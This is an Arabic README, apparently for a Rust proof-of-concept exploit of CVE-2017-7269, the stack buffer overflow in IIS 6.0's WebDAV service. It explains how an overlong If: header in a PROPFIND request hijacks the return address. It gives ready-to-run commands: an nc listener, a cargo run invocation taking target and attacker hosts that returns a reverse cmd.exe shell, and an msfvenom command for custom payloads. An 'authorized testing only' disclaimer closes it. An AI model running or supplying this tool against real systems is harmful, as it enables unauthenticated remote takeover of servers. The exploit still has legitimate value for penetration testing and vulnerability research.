
تنفيذ بلغة Rust لإثبات المفهوم (POC) الخاص بـ CVE-2017-7269، والذي يستهدف خدمة WebDAV في Microsoft Internet Information Services (IIS) 6.0.
تنفيذ بلغة Rust لمفهوم الإثبات (POC) الخاص بـ CVE-2017-7269، ويستهدف خدمة WebDAV في خادم معلومات الإنترنت من مايكروسوفت (IIS) 6.0.
تُعد CVE-2017-7269 ثغرة حرجة من نوع تجاوز سعة المخزن المؤقت القائم على المكدس (stack-based buffer overflow) في خدمة WebDAV الخاصة بـ IIS 6.0 من مايكروسوفت، والتي كانت مرفقة مع Windows Server 2003 R2. يسمح الاستغلال الناجح للمهاجم غير المصادَق بتنفيذ تعليمات برمجية عن بُعد على الخادم المستهدف.
httpext.dll (ملحق WebDAV في IIS)ScStoragePathFromUrlPROPFINDIf: طويلة بشكل مفرط تحتوي على عناوين URL متعددة.الثغرة عبارة عن تجاوز سعة مخزن مؤقت كلاسيكي على المكدس. يتم استغلالها عندما تعالج الدالة ScStoragePathFromUrl طلب PROPFIND يحتوي على ترويسة If: خبيثة.
تشكّل هذه الأداة الاستغلالية ترويسة كهذه تحتوي على سلسلة طويلة من البايتات، مما يؤدي إلى تجاوز سعة المخزن المؤقت المخصص على المكدس. يتسبب هذا التجاوز في استبدال بيانات حرجة في المكدس، بما في ذلك عنوان العودة المحفوظ (EIP). تختطف الأداة مسار تنفيذ البرنامج بتوجيه عنوان العودة هذا إلى حمولة شيفرة أولية صغيرة موجودة أيضًا داخل الترويسة الخبيثة. تتمثل مهمة هذه الشيفرة الأولية في العثور على الحمولة الرئيسية وتنفيذها، وهي شل عكسي (reverse shell) يُرسَل في جسم طلب HTTP نفسه. يثبت هذا المفهوم الإثباتي (POC) بنجاح تنفيذ التعليمات البرمجية عن بُعد من خلال ربط شل cmd.exe بمستمع يتحكم فيه المهاجم.
جهّز مستمعًا (listener) (اضبط المنفذ ليطابق --lport):
nc -lvnp <attacker-port>
شغّل أداة الاستغلال مع شيفرة مدمجة:
cargo run --release -- --rhost <target-ip> --rport <target-port> --lhost <attacker-ip> --lport <attacker-port>
تقوم الأداة بترقيع شيفرة WSA أثناء التشغيل باستخدام LHOST/LPORT وترسلها في جسم HTTP. عندما يكون الهدف معرضًا للثغرة، سيستقبل مستمعك شلًا عكسيًا من cmd.exe.
--payload)جهّز حمولة خام (raw payload)
msfvenom -p windows/exec CMD=whoami -f raw -o payload.bin
سلّم الحمولة (لا حاجة لـ --lhost/--lport لأن الشيفرة تتضمن تلك المعلومات مسبقًا):
cargo run --release -- --rhost <target-ip> --rport <target-port> --payload payload.bin
تعامل مع الاستدعاء الراجع (callback) في نفس المستمع كما في السابق. نظرًا لأن الملف التنفيذي يبث ببساطة البايتات المقدمة، فإن السلوك الدقيق يعتمد على الحمولة التي ولّدتها.
هذه الأداة مخصصة للأغراض التعليمية واختبار الاختراق المصرح به فقط. استخدمها بمسؤولية وعلى الأنظمة التي تملكها أو لديك إذن صريح لاستخدامها فقط.